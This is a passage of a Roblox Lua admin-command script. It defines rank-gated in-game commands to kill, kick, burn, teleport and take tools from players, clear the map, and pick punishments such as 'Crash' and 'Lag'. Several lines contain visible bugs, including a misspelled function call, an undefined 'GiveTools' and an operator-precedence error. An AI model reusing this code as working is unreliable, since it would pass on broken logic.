2776 | Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}} | |
2777 | for i,v in pairs(Types) do | |
2778 | if Punishment==v[1] then | |
2779 | NewPun=v[1] | |
2780 | end | |
2781 | end | |
2782 | end]] | |
2783 | PIXEL.Output('Punishment : ' .. tostring(NewPun or "nil"),'Red',Speaker); | |
2784 | PIXEL.Output('Change rank for bypass','Blue',Speaker,nil, | |
2785 | function() | |
2786 | if PIXEL.GetRank(Speaker) > 0 and PIXEL.GetRank(Speaker) > Rank then | |
2787 | PIXEL.RemoveTablets(Speaker); | |
2788 | for Num,Name in pairs(PIXEL.Ranks) do | |
2789 | if not Num > PIXEL.GetRank(Speaker) then | |
2790 | PIXEL.Output(tostring(Num),Color3.new(Num/10,Num/10,Num/100),Speaker,nil, | |
2791 | function() | |
2792 | PIXEL.RemoveTablets(Speaker); | |
2793 | PIXEL.Filters[FName].Rank=tonumber(Num)--FTable.Rank=tonumber(Num) | |
2794 | SetUpDF(FTable,FName) | |
2795 | end | |
2796 | ) | |
2797 | end | |
2798 | end | |
2799 | else | |
2800 | PIXEL.Output('Your rank is too low to execute this action','Red',Speaker,3) | |
2801 | end | |
2802 | end | |
2803 | ) | |
2804 | PIXEL.Output('Change punishment type','Blue',Speaker,nil, | |
2805 | function() | |
2806 | if PIXEL.GetRank(Speaker) > 0 and PIXEL.GetRank(Speaker) > Rank then | |
2807 | PIXEL.RemoveTablets(Speaker) | |
2808 | Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}} | |
2809 | for i,v in pairs(Types) do | |
2810 | if PIXEL.GetRank(Speaker) > v[2] then | |
2811 | PIXEL.Output('Change punishment to ' .. v[1],'Blue',Speaker,nil, | |
2812 | function() | |
2813 | PIXEL.Filters[FName].Punishment=v[2] | |
2814 | PIXEL.RemoveTablets(Speaker) | |
2815 | SetUPDF(FTable,FName) | |
2816 | end | |
2817 | ) | |
2818 | end | |
2819 | end | |
2820 | else | |
2821 | PIXEL.Output('Your rank is not high enough for this operation','Red',Speaker,3) | |
2822 | end | |
2823 | end | |
2824 | ) | |
2825 | end | |
2826 | for Derp,DerpTable in pairs(PIXEL.Filters) do | |
2827 | PIXEL.Output(Derp,'Random',Speaker,nil,function() SetUpDF(DerpTable,Derp) end) | |
2828 | end | |
2829 | end | |
2830 | ) | |
2831 | PIXEL.Command('Rules','rules',0,'Shows ancient rules set down by elders at oxcools','No arguments', | |
2832 | function(Message,Speaker) | |
2833 | for i,v in pairs(PIXEL.Rules) do | |
2834 | PIXEL.Output(v,PIXEL.Ranked[Speaker.Name].Color,Speaker) | |
2835 | end | |
2836 | end | |
2837 | ) | |
2838 | PIXEL.Command('Show credits','credits',0,'Shows credits','No arguments', | |
2839 | function(Msg,Speaker) | |
2840 | for Name,Reason in pairs(PIXEL.Credits) do | |
2841 | PIXEL.Output(Name .. " " .. Reason,PIXEL.Ranked[Speaker.Name].Color,Speaker) | |
2842 | end | |
2843 | end | |
2844 | ) | |
2845 | PIXEL.Command('Help','help',0,'Gives help','help', | |
2846 | function(Msg,Speaker) | |
2847 | PIXEL.GiveInfo(Speaker) | |
2848 | end | |
2849 | ) | |
2850 | --[[ Rank 1 ]]-- | |
2851 | PIXEL.Command('Base','base',1,'Makes a base in workspace','No arguments', | |
2852 | function(Msg,Speaker) | |
2853 | Norm=nil | |
2854 | if Workspace:findFirstChild'Base' then | |
2855 | Norm=Workspace.Base:clone() | |
2856 | end | |
2857 | --PIXEL.ServPIXELs.Workspace:ClearAllChildren'Nope' | |
2858 | pcall(function() Workspace.Base:Destroy() end) | |
2859 | Speaker:LoadCharacter(true) | |
2860 | Speaker.Character.Torso.Anchored=true | |
2861 | if Norm then | |
2862 | Norm:Clone().Parent=PIXEL.ServPIXELs.Workspace | |
2863 | else | |
2864 | Part=Instance.new'Part' | |
2865 | Part.Name='Base' | |
2866 | Part.Size=Vector3.new(256,0.05,256) | |
2867 | Part.Anchored=true | |
2868 | Part.BrickColor=BrickColor.new'Earth green' | |
2869 | Part.CFrame=CFrame.new(0,0,0) | |
2870 | Part.Parent=Workspace | |
2871 | end | |
2872 | for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do v:LoadCharacter() end | |
2873 | end | |
2874 | ) | |
2875 | PIXEL.Command('Terrain base','tbase',1,'Makes a terrain base','No arguments', | |
2876 | function(Msg,Speaker) | |
2877 | vector3int16_1 = Vector3int16.new(-50,0,-50) | |
2878 | vector3int16_2 = Vector3int16.new(50, 1, 50) | |
2879 | CleanType="Test" | |
2880 | CleanTypes={"Grass","Sand","Brick","Granite","Asphalt","Iron","Aluminum","Gold","WoodPlank","WoodLog","Gravel","CinderBlock","MossyStone","Cement","RedPlastic","BluePlastic","Water"} | |
2881 | for i,v in pairs(CleanTypes) do | |
2882 | Tab=PIXEL.Output(v,'Random',Speaker,nil,function() CleanType=v PIXEL.RemoveTablets(Speaker) end) | |
2883 | coroutine.wrap(function() | |
2884 | repeat | |
2885 | if Tab.Model.Parent ~= PIXEL.ServPIXELs.Workspace then | |
2886 | Tab=PIXEL.Output(v,'Random',Speaker,nil,function() CleanType=v PIXEL.RemoveTablets(Speaker) end) | |
2887 | end | |
2888 | until CleanType ~= "Test" | |
2889 | end)() | |
2890 | end | |
2891 | PIXEL.Output('Random terrain',Speaker,nil,function() CleanType=tostring(math.random(1,17)) end) | |
2892 | repeat | |
2893 | wait() | |
2894 | until CleanType ~= "Test" | |
2895 | if tonumber(CleanType) then CleanType=tonumber(CleanType) end | |
2896 | wait() | |
2897 | local Terrain = Workspace.Terrain | |
2898 | wait(0.01); | |
2899 | Terrain:Clear() | |
2900 | wait(0.01) | |
2901 | pcall(function() Workspace.Base:Destroy() end) | |
2902 | wait(0.01); | |
2903 | Terrain:SetCells(250,2,250, CleanType, Enum.CellBlock.Solid, Enum.CellOrientation.NegZ) | |
2904 | end | |
2905 | ) | |
2906 | PIXEL.Command('Dynamic lighting(dl)','dl',1,'Activates Dynamic lighting','No arguments', | |
2907 | function(Msg,Speaker) | |
2908 | PIXEL.ServPIXELs.Lighting.GlobalShadows=true | |
2909 | PIXEL.ServPIXELs.Lighting.TimeOfDay="24:00:00" | |
2910 | PIXEL.ServPIXELs.Lighting.OutdoorAmbient=Color3.new(-1,-1,-1) | |
2911 | PIXEL.ServPIXELs.Lighting.Ambient=Color3.new(0,0,0) | |
2912 | for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do | |
2913 | Spot=Instance.new'PointLight' | |
2914 | Spot.Color=Color3.new(1,1,1) | |
2915 | Spot.Name='Light' | |
2916 | Spot.Parent=v.Character.Torso | |
2917 | Spot.Range,Spot.Brightness=20,1/0 | |
2918 | end | |
2919 | end | |
2920 | ) | |
2921 | PIXEL.Command('Kill','kill',1,'Kills #Player','#Player', | |
2922 | function(Msg,Speaker) | |
2923 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
2924 | v.Character:BreakJoints(); | |
2925 | end | |
2926 | end | |
2927 | ) | |
2928 | PIXEL.Command('Teleport','tp',1,'Teleports Player to #Player','Player/#Player', | |
2929 | function(Msg,Speaker) | |
2930 | local Player,Players=nil,{} | |
2931 | local Split=Msg:find(PIXEL.Bets[2]) | |
2932 | local GetCF=function(v) return v:GetModelCFrame() end | |
2933 | Player,Players=PIXEL.GetPlayers(Msg:sub(Split+1),Speaker)[1],PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker) | |
2934 | local Y = 0 | |
2935 | for i,v in pairs(Players) do | |
2936 | if v.Character == nil then | |
2937 | v:LoadCharacter() | |
2938 | end | |
2939 | Y = Y + 8 -- Approx length of a Normal Robloxian Body from Head to Toe Torso=4,Leg=2,Head=2 | |
2940 | local Character=Player.Character | |
2941 | local Torso=Character:findFirstChild'Torso' | |
2942 | local TorsoCFrame=Torso.CFrame | |
2943 | local CharacterCFrame=GetCF(Character) | |
2944 | VTorso=v.Character.Torso | |
2945 | --if PIXEL.TeleportSettings[Speaker.Name].Type=="Relative" then | |
2946 | VTorso.CFrame=CFrame.new(CharacterCFrame.x,CharacterCFrame.y + Y, CharacterCFrame.z) | |
2947 | --elseif PIXEL.TeleportSettings[Speaker.Name].Type=='Absolute' then | |
2948 | --VTorso.CFrame=CFrame.new(TorsoCFrame.x,TorsoCFrame.y + Y,TorsoCFrame.z) | |
2949 | -- end | |
2950 | end | |
2951 | end | |
2952 | ) | |
2953 | PIXEL.Command('Set time of day','timeofday',1,'Sets time of day','Timeofday or nil', | |
2954 | function(Msg,Speaker) | |
2955 | if #Msg >= 1 then | |
2956 | local Ran,Error=coroutine.create(coroutine.resume(function() | |
2957 | PIXEL.ServPIXELs.Lighting.TimeOfDay=Msg | |
2958 | end)) | |
2959 | if Error then PIXEL.Output(Error,'Red',Speaker,3) end | |
2960 | else | |
2961 | Times={ | |
2962 | ['Morning']="6:00:00"; | |
2963 | ['Noon']="12:00:00"; | |
2964 | ['Night']="18:00:00"; | |
2965 | ['MidNight']="24:00:00"; | |
2966 | }; | |
2967 | for Name,Time in pairs(Times) do | |
2968 | PIXEL.Output(Name,'Random',Speaker,nil, | |
2969 | function() | |
2970 | PIXEL.RemoveTablets(Speaker); | |
2971 | PIXEL.ServPIXELs.Lighting.TimeOfDay=Time | |
2972 | end | |
2973 | ) | |
2974 | end | |
2975 | end | |
2976 | end | |
2977 | ) | |
2978 | PIXEL.Command('Explorer','explore',1,'Enters Explorer','No arguments', | |
2979 | function(Msg,Speaker) | |
2980 | TheServPIXEL=nil; | |
2981 | if #Msg==0 then | |
2982 | for n,s in pairs(PIXEL.ServPIXELs) do | |
2983 | if n:lower():sub(1,#Msg)==Msg:lower() then | |
2984 | TheServPIXEL=s | |
2985 | end | |
2986 | end | |
2987 | end | |
2988 | PIXEL.Explore(TheServPIXEL,Speaker); | |
2989 | end | |
2990 | ) | |
2991 | PIXEL.Command('Respawn','rs',1,'Respawns #Player','#Player', | |
2992 | function(Msg,Spkr) | |
2993 | for _,v in pairs(PIXEL.GetPlayers(Msg,Spkr)) do | |
2994 | if v.Character:findFirstChild'Torso' then | |
2995 | Last=v.Character.Torso.CFrame | |
2996 | v:LoadCharacter(); | |
2997 | v.Character.Torso.CFrame=Last | |
2998 | else | |
2999 | v:LoadCharacter() | |
3000 | end | |
3001 | end | |
3002 | end | |
3003 | ) | |
3004 | PIXEL.Command('Get visual','giv',1,'Gets visual basic scripting capablities(hack)','No arguments', | |
3005 | function(Msg,Speaker) | |
3006 | PIXEL.Output('Not available yet!','Red',Speaker,5) | |
3007 | end | |
3008 | ) | |
3009 | PIXEL.Command('Give','give',1,'Gives #Player sum toolz','#Player', | |
3010 | function(Msg,Speaker) | |
3011 | Tools={} | |
3012 | Players=PIXEL.GetPlayer(Msg,Speaker) | |
3013 | Give=function() | |
3014 | for i,v in pairs(Players) do | |
3015 | for _,tool in ipairs(Tools) do | |
3016 | tool:clone().Parent=v.Backpack | |
3017 | end | |
3018 | end | |
3019 | end | |
3020 | Start=function() | |
3021 | PIXEL.RemoveTablets(Speaker) | |
3022 | Num=0 | |
3023 | for i,v in pairs(PIXEL.ServPIXELs.Lighting:children()) do | |
3024 | if v:IsA'Tool' or v:IsA'HopperBin' then | |
3025 | Num=Num+1 | |
3026 | PIXEL.Output(v.Name,'Random',Speaker,nil,function() | |
3027 | table.insert(Tools,v:clone()) | |
3028 | PIXEL.Output('Add more tools?','Red',Speaker,nil,function() | |
3029 | Start() | |
3030 | end) | |
3031 | PIXEL.Output('Give tools to the playres','Green',Speaker,nil,function() GiveTools() end) | |
3032 | ||
3033 | end | |
3034 | ) | |
3035 | end | |
3036 | end | |
3037 | if Num == 0 then PIXEL.Output('No tools in Lighting','Red',Speaker) end | |
3038 | end | |
3039 | Start() | |
3040 | end | |
3041 | ) | |
3042 | PIXEL.Command('take tool','ttool',1,'Takes #Players tool','#Player', | |
3043 | function(Msg,Speaker) | |
3044 | for _,Player in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3045 | local PTools={}; | |
3046 | local Back=Player:findFirstChild'Backpack' | |
3047 | if Back==nil then Player:LoadCharacter() Back=Player.Backpack end | |
3048 | for i,v in pairs(Back:children()) do | |
3049 | if v:IsA'Tool' or v:IsA'HopperBin' then | |
3050 | PTools[#PTools+1]=v:Clone(); | |
3051 | end | |
3052 | end | |
3053 | Start=false; | |
3054 | Cloned={}; | |
3055 | GiveTools=function() | |
3056 | for i,v in pairs(Cloned) do | |
3057 | pcall(function() v.Parent=Speaker.Backpack end) | |
3058 | end | |
3059 | end | |
3060 | StartOver=function() | |
3061 | PIXEL.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end); | |
3062 | PIXEL.Output('Clone tools to your self','Green',Speaker,nil,function() Start=true end) | |
3063 | end | |
3064 | Startt=function() | |
3065 | PIXEL.RemoveTablets(Speaker); | |
3066 | for i,v in pairs(PTools) do | |
3067 | PIXEL.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end ) | |
3068 | end | |
3069 | end | |
3070 | if #PTools==0 then | |
3071 | PIXEL.Output(Player.Name .. ' has no tools','Red',Speaker) | |
3072 | Start=true | |
3073 | else | |
3074 | Startt() | |
3075 | end | |
3076 | repeat | |
3077 | wait() | |
3078 | until Start | |
3079 | GiveTools() | |
3080 | end | |
3081 | end | |
3082 | ) | |
3083 | PIXEL.Command('Remove tool','rtool',1,'Removes #Players tool','#Player', | |
3084 | function(Msg,Speaker) | |
3085 | for _,Player in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3086 | local PTools={}; | |
3087 | local Back=Player:findFirstChild'Backpack' | |
3088 | if Back==nil then Player:LoadCharacter() Back=Player.Backpack end | |
3089 | for i,v in pairs(Back:children()) do | |
3090 | if v:IsA'Tool' or v:IsA'HopperBin' then | |
3091 | PTools[#PTools+1]=v:Clone(); | |
3092 | end | |
3093 | end | |
3094 | Start=false; | |
3095 | Cloned={}; | |
3096 | GiveTools=function() | |
3097 | for i,t in pairs(Cloned) do | |
3098 | pcall(function() Back[t.Name]:Destroy() end) | |
3099 | end | |
3100 | end | |
3101 | StartOver=function() | |
3102 | PIXEL.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end); | |
3103 | PIXEL.Output('Remove tools','Green',Speaker,nil,function() Start=true end) | |
3104 | end | |
3105 | Startt=function() | |
3106 | PIXEL.RemoveTablets(Speaker); | |
3107 | for i,v in pairs(PTools) do | |
3108 | PIXEL.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end ) | |
3109 | end | |
3110 | end | |
3111 | if #PTools==0 then | |
3112 | PIXEL.Output(Player.Name .. ' has no tools','Red',Speaker) | |
3113 | Start=true | |
3114 | else | |
3115 | Startt() | |
3116 | end | |
3117 | repeat | |
3118 | wait() | |
3119 | until Start | |
3120 | GiveTools() | |
3121 | end | |
3122 | end | |
3123 | ) | |
3124 | PIXEL.Command('Fire','fire',1,'Fires #Player','#Player', | |
3125 | function(Msg,Speaker) | |
3126 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3127 | PIXEL.OnChatted(PIXEL.Bets[1]..'unfire'..PIXEL.Bets[2]..v.Name,Speaker,true) | |
3128 | coroutine.wrap(function() | |
3129 | for _,part in pairs(v.Character:children()) do | |
3130 | if part:findFirstChild'Fire'==nil and part:IsA'BasePart' then | |
3131 | Instance.new'Fire'.Parent=part | |
3132 | end | |
3133 | end | |
3134 | end)() | |
3135 | end | |
3136 | end | |
3137 | ) | |
3138 | PIXEL.Command('Unfire','unfire',1,'Unfires #Player','#Player', | |
3139 | function(Msg,Speaker) | |
3140 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3141 | CharParts=v.Character:children() | |
3142 | for i,part in pairs(CharParts) do | |
3143 | if part:IsA'BasePart' then | |
3144 | pcall(function() | |
3145 | for _,f in pairs(part:children()) do | |
3146 | if f:IsA'Fire' then | |
3147 | f:Destroy() | |
3148 | end | |
3149 | end | |
3150 | end) | |
3151 | end | |
3152 | end | |
3153 | end | |
3154 | end | |
3155 | ) | |
3156 | PIXEL.Command('Burn','burn',1,'Burns #Player','#Player', | |
3157 | function(Msg,Speaker) | |
3158 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3159 | coroutine.wrap(function() | |
3160 | PIXEL.OnChatted(PIXEL.Bets[1]..'fire'..PIXEL.Bets[2]..v.Name,Speaker,true) | |
3161 | local MainFire=v.Character:FindFirstChild('Fire',true) | |
3162 | Humanoid=nil | |
3163 | repeat | |
3164 | for _,p in pairs(v.Character:children()) do | |
3165 | if p:IsA'Humanoid' then | |
3166 | p.Name='Humanoid' | |
3167 | Humanoid=p | |
3168 | end | |
3169 | end | |
3170 | Humanoid:TakeDamage(math.random(1,2)) | |
3171 | wait() | |
3172 | until MainFire==nil or MainFire.Parent==nil or v.Character:findFirstChild('Fire',true)==nil | |
3173 | end)() | |
3174 | end | |
3175 | end | |
3176 | ) | |
3177 | PIXEL.Command('Message','msg',1,'Makes a mesg with Text','Text', | |
3178 | function(Text,Speaker) | |
3179 | PIXEL.MakeMessage(Speaker.Name..': '.. Text) | |
3180 | end | |
3181 | ) | |
3182 | PIXEL.Command('Hint','hint',1,'Makes a hint with Text','Text', | |
3183 | function(Text,Speaker) | |
3184 | PIXEL.MakeHint(Speaker.Name..': '.. Text) | |
3185 | end | |
3186 | ) | |
3187 | PIXEL.Command('Superjump','sj',1,'Makes the Player jump really high','Player', | |
3188 | function(Msg,Speaker) | |
3189 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3190 | local Height = 20 | |
3191 | local Num=0 | |
3192 | v.Character.Torso.Anchored=true | |
3193 | v.Character.Humanoid.Jump=true | |
3194 | for i=1,Height do | |
3195 | pcall(function() | |
3196 | v.Character.Torso.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y + 1,v.Character.Torso.CFrame.z) | |
3197 | end) | |
3198 | wait(0.01); | |
3199 | end | |
3200 | Torso=v.Character.Torso | |
3201 | for x=1,3 do | |
3202 | Torso.CFrame=CFrame.new(Torso.Position + Vector3.new(x,x,x)) | |
3203 | wait(0.01); | |
3204 | end | |
3205 | for b=1,Height do | |
3206 | Torso.CFrame=CFrame.new(Torso.CFrame.x,Torso.CFrame.y - 1,Torso.CFrame.z) | |
3207 | wait(0.01); | |
3208 | end | |
3209 | ||
3210 | v.Character.Torso.Anchored=false | |
3211 | end | |
3212 | end | |
3213 | ) | |
3214 | --[[ Rank 2 ]]-- | |
3215 | PIXEL.Command('Kick','kick',2,'Kicks #Player','#Player', | |
3216 | function(Msg,Speaker) | |
3217 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3218 | v:Destroy(); | |
3219 | end | |
3220 | end | |
3221 | ) | |
3222 | PIXEL.Command('Kick chat','kchat',2,'Kick chats a player','#Player', | |
3223 | function(Msg,Speaker) | |
3224 | local Warnings={} | |
3225 | local Max=nil | |
3226 | local Players={}; | |
3227 | local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end | |
3228 | local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end | |
3229 | local Split=Msg:find(PIXEL.Bets[2]) or nil | |
3230 | if Split then | |
3231 | Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker) | |
3232 | Max=tonumber(Msg:sub(Split+1)) | |
3233 | else | |
3234 | Max=3 | |
3235 | Players=PIXEL.GetPlayers(Msg,Speaker) | |
3236 | end | |
3237 | for i,Player in pairs(Players) do | |
3238 | Player.Chatted:connect(function(Msg) | |
3239 | AddWarning(Player) | |
3240 | if GetWarnings(Player) == 0 then | |
3241 | Player:Destroy(); | |
3242 | else | |
3243 | local WarningHint=Instance.new('Message'); | |
3244 | WarningHint.Name='WarningHint' | |
3245 | pcall(function() Player.PlayerGui.WarningHint:Destroy(); end); | |
3246 | WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for talking before being kicked' | |
3247 | WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player) | |
3248 | wait(3) | |
3249 | WarningHint.Parent=nil | |
3250 | end | |
3251 | end) | |
3252 | end | |
3253 | end | |
3254 | ) | |
3255 | PIXEL.Command('Fly','fly',2,'Makes #Player Fly #Studs high','<Player><Studs>', | |
3256 | function(Msg,Speaker) | |
3257 | Players={}; | |
3258 | Split=Msg:find(PIXEL.Bets[2]) | |
3259 | if Split then | |
3260 | Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker) | |
3261 | else | |
3262 | Players=PIXEL.GetPlayers(Msg,Speaker) | |
3263 | end | |
3264 | for _,v in pairs(Players) do | |
3265 | coroutine.wrap(function() | |
3266 | local Meter=0 | |
3267 | if Split then | |
3268 | if tonumber(Msg:sub(Split+1)) then | |
3269 | Meter=tonumber(Msg:sub(Split+1)) | |
3270 | else | |
3271 | Meter=300 | |
3272 | end | |
3273 | else | |
3274 | Meter=300 | |
3275 | end | |
3276 | End=false;-- End flying | |
3277 | coroutine.wrap(function() | |
3278 | repeat | |
3279 | if v.Character and v.Character:findFirstChild'Torso' then | |
3280 | local Vect=Vector3.new(); | |
3281 | local Cur=v.Character.Torso.Position | |
3282 | v.Character.Torso.Anchored=true | |
3283 | Vect=Vector3.new(Cur.x,Cur.y + 0.1,Cur.z) | |
3284 | v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0) | |
3285 | if v.Character.Torso.CFrame.y>=Meter then End=true end; | |
3286 | end | |
3287 | wait() | |
3288 | until End==true | |
3289 | pcall(function() v.Character.Torso.Anchored=false end) | |
3290 | end)() | |
3291 | v.CharacterAdded:connect(function(v) if End==false then End=true end end) | |
3292 | end)() | |
3293 | end | |
3294 | end | |
3295 | ) | |
3296 | PIXEL.Command('Skyfall','sfall',2,'Makes #Player skyfall','#Player', | |
3297 | function(Msg,Speaker) | |
3298 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3299 | pcall(function() | |
3300 | vChar=v.Character; | |
3301 | vTorso=vChar.Torso; | |
3302 | vTorso.CFrame=CFrame.new(vTorso.CFrame.x,9999,vTorso.CFrame.z) | |
3303 | wait() | |
3304 | vTorso.CanCollide=false | |
3305 | end) | |
3306 | end | |
3307 | end | |
3308 | ) | |
3309 | PIXEL.Command("Clear","clear",2,"Clears the workspace of its contents.","No Arguments", | |
3310 | function(Msg,Speaker) | |
3311 | for _,v in pairs(PIXEL.ServPIXELs.Workspace:children()) do | |
3312 | if Prometheus ~= nil then | |
3313 | if v ~= Prometheus.script("lushmylife") then | |
3314 | pcall(function() | |
3315 | v:Destroy() | |
3316 | end) | |
3317 | end | |
3318 | else | |
3319 | pcall(function() | |
3320 | v:Destroy() | |
3321 | end) | |
3322 | end | |
3323 | end | |
3324 | ||
3325 | local Base=Instance.new("Part",PIXEL.ServPIXELs.Workspace) | |
3326 | Base.Name='Base' | |
3327 | Base.Size=Vector3.new(2048,1,2048) | |
3328 | Base.BrickColor=BrickColor.new("Dark green") | |
3329 | Base.Anchored=true | |
3330 | Base.Locked=true | |
3331 | Base.TopSurface='Studs' | |
3332 | Base.Transparency = 0 | |
3333 | Base.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3334 | local Spawn=Instance.new("SpawnLocation",PIXEL.ServPIXELs.Workspace) Spawn.Name='SpawnLocation' | |
3335 | Spawn.Size=Vector3.new(6,1,6) | |
3336 | Spawn.Transparency=1 | |
3337 | Spawn.CanCollide=false | |
3338 | Spawn.Anchored=true | |
3339 | Spawn.Locked=true | |
3340 | Spawn.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3341 | for _,v in pairs(PIXEL.GetPlayers()) do | |
3342 | v:LoadCharacter() | |
3343 | end | |
3344 | ||
3345 | end | |
3346 | ) | |
3347 | PIXEL.Command('Brick kill','bkill',2,'Kills #PLayer with a brick','#Player', | |
3348 | function(Msg,Speaker) | |
3349 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3350 | local Funcs={ | |
3351 | {Func=function(v) v:BreakJoints(); end}; | |
3352 | {Func=function(v) Expl=Instance.new'Explosion' Expl.Parent=v Expl.Position=v.Position end}; | |
3353 | {Func=function(v) v:BreakJoints(); Instance.new'Fire'.Parent=v; Instance.new'Sparkles'.Parent=v end}; | |
3354 | } | |
3355 | coroutine.wrap(function() | |
3356 | local Part=Instance.new'Part' | |
3357 | local Event=math.random(1,3) | |
3358 | local Size=Vector3.new(4,4,4) | |
3359 | local Head=v.Character.Head | |
3360 | Model=Instance.new'Model' | |
3361 | Model.Parent=Head.Parent--v.Character | |
3362 | Part.Size=Size; | |
3363 | Part.BrickColor=BrickColor.random() | |
3364 | Color=Part.Color | |
3365 | local SelectionBox=Instance.new'SelectionBox' | |
3366 | SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7 | |
3367 | local BillBoard=Instance.new'BillboardGui' | |
3368 | BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BillboardGui',Vector3.new(0,3,0),UDim2.new(10,0,10,0) | |
3369 | local Label=Instance.new'TextLabel' | |
3370 | Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label','',Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color | |
3371 | Spot=Instance.new'PointLight' | |
3372 | Spot.Brightness=1/0 | |
3373 | Spot.Range=30 | |
3374 | if game.Lighting.GlobalShadows==true and game.Lighting.Ambient==Color3.new(0,0,0) or game.Lighting.Ambient==Color3.new(-1,-1,-1) then | |
3375 | Spot.Parent=Part | |
3376 | end | |
3377 | Part.Touched:connect(function(Hit) | |
3378 | if Hit:IsDescendantOf(v.Character) then | |
3379 | Funcs[Event].Func(Hit) | |
3380 | end | |
3381 | end) | |
3382 | Part.Parent=Model | |
3383 | Part.CFrame=CFrame.new(Head.Position + Vector3.new(0,20,0)) | |
3384 | Part.Anchored=true | |
3385 | for i=1,20,0.1 do | |
3386 | Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) ) | |
3387 | if 15-i >= 0 then | |
3388 | Label.Text='You have ' .. 15-i .. ' seconds to live =3' | |
3389 | end | |
3390 | Spot.Color=Color3.new(math.random(),math.random(),math.random()) | |
3391 | SelectionBox.Color=BrickColor.new(Spot.Color) | |
3392 | Part.Color=Spot.Color | |
3393 | wait() | |
3394 | end | |
3395 | Label.Text='You have died ;)' | |
3396 | for i=1,10,0.1 do | |
3397 | wait() | |
3398 | if v.Character==nil or v.Character.Parent==nil then | |
3399 | break | |
3400 | end | |
3401 | Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) ) | |
3402 | end | |
3403 | end)() | |
3404 | end | |
3405 | end | |
3406 | ) | |
3407 | PIXEL.Command('Fall','Fall',2,'Makes #Player Fall #Studs high','<Player><Studs>', | |
3408 | function(Msg,Speaker) | |
3409 | Players={}; | |
3410 | Split=Msg:find(PIXEL.Bets[2]) | |
3411 | if Split then | |
3412 | Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker) | |
3413 | else | |
3414 | Players=PIXEL.GetPlayers(Msg,Speaker) | |
3415 | end | |
3416 | for _,v in pairs(Players) do | |
3417 | coroutine.wrap(function() | |
3418 | local Meter=0 | |
3419 | if Split then | |
3420 | if tonumber(Msg:sub(Split+1)) then | |
3421 | Meter=tonumber(Msg:sub(Split+1)) | |
3422 | else | |
3423 | Meter=-300 | |
3424 | end | |
3425 | else | |
3426 | Meter=-300 | |
3427 | end | |
3428 | if Meter > 0 then | |
3429 | Meter=Meter-Meter-Meter; | |
3430 | end | |
3431 | End=false;-- End flying | |
3432 | coroutine.wrap(function() | |
3433 | repeat | |
3434 | if v.Character and v.Character:findFirstChild'Torso' then | |
3435 | local Vect=Vector3.new(); | |
3436 | local Cur=v.Character.Torso.Position | |
3437 | v.Character.Torso.Anchored=true | |
3438 | v.Character.Torso.CanCollide=false | |
3439 | Vect=Vector3.new(Cur.x,Cur.y - 0.1,Cur.z) | |
3440 | v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0) | |
3441 | if v.Character.Torso.CFrame.y<=Meter then End=true end; | |
3442 | end | |
3443 | wait() | |
3444 | until End==true | |
3445 | pcall(function() v.Character.Torso.Anchored=false v.Character.Torso.CanCollide=true end) | |
3446 | end)() | |
3447 | v.CharacterAdded:connect(function(v) if End==false then End=true end end) | |
3448 | end)() | |
3449 | end | |
3450 | end | |
3451 | ) | |
3452 | PIXEL.Command('Kick phrase','kpchat',2,'Kicks a player for chatting a term','#Player', | |
3453 | function(Msg,Speaker) | |
3454 | local Warnings={} | |
3455 | local Max=4 | |
3456 | local Players={}; | |
3457 | local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end | |
3458 | local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end | |
3459 | local Split=Msg:find(PIXEL.Bets[2]) or nil | |
3460 | local Phrase="" | |
3461 | if Split then | |
3462 | Players=PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker) | |
3463 | Phrase=tostring(Msg:sub(Split+1)) | |
3464 | else | |
3465 | Max=3 | |
3466 | Players=PIXEL.GetPlayers(Msg,Speaker) | |
